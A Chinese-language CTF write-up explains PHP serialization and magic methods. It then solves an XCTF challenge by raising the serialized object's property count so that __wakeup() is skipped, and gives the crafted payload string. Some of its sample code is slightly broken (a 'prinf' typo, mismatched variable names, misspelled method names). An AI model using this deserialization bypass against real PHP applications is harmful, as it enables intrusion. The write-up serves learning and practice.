1.序列号与反序列化的具体实例
序列化是将对象转化为可以传输的字符串;
反序列化就是把那串可以传输的字符串再变回对象。
举例说明:
<?php
class chybeta{
var $test = '123';
}
$class1 = new chybeta; //这里就是创建一个新的对象
$class1_ser = serialize($class1); //将这个对象进行字符串封装,就是对其进行序列化
print_r($class1_ser);
?>
运行结果: O:7:”chybeta”:1:{s:4:”test”;s:3:”123″;}
结果解析:
O呢就是object对象的意思
数字7代表着对象的函数名有7个占位
然后就是对象名了
这个数字1表示对象里有一个变量
大括号里的s代表的是string类型还有一个i是int型
4:变量名的占位
后面为变量的值
将其反序列化输出后,结果为
2.序列化中所用到的魔法函数
__constuct() 在创建对象是自动调用 __destuct() 相当于c++中的析构最后会将对象销毁,所以在对象销毁时 被调用 __toString() 但一个对象被当成字符串使用时被调用 __sleep() 当对象被序列化之前使用 __wakeup() 将在被序列化后立即被调用
具体内容参考:
https://www.cnblogs.com/youyoui/p/8610068.html
接下来解题:
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
这里看到__wakeup()
这里的问题就是出在这里的魔法函数中,他exit()了
serialize()和unserialize()函数对魔术方法的处理:serialize()函数会检查类中是否存在一个魔术方法__sleep() 这里想没想到就是上面讲的这个函数是在序列化之前被调用的所以在序列化之前要检验有没有这个魔法函数。如果存在,该方法会先被调用,然后才执行序列化操作,此功能可以用于清理对象。
unserialize()函数会检查类中是否存在一个魔术方法__wakeup(),如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
5、__wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数,这也是一个绕过点。
这个是解决咱们这道题的重点了
思路就出来了,将这个对象进行序列化传值,修改其属性这样就可以进行绕过__wakeup了
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$s = new xctf();
prinf(serialize($c));
?>
输出结果:O:4:”xctf”:1:{s:4:”flag”;s:3:”111″;}
当被反序列化的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得_wakeup()函数失效,就是问题的关键所在。所以对其进行修改:
O:4:”xctf”:2:{s:4:”flag”;s:3:”111″;}
url中输入,即可获得flag
若不对1进行修改,则会返回 bad requests。
暂无评论内容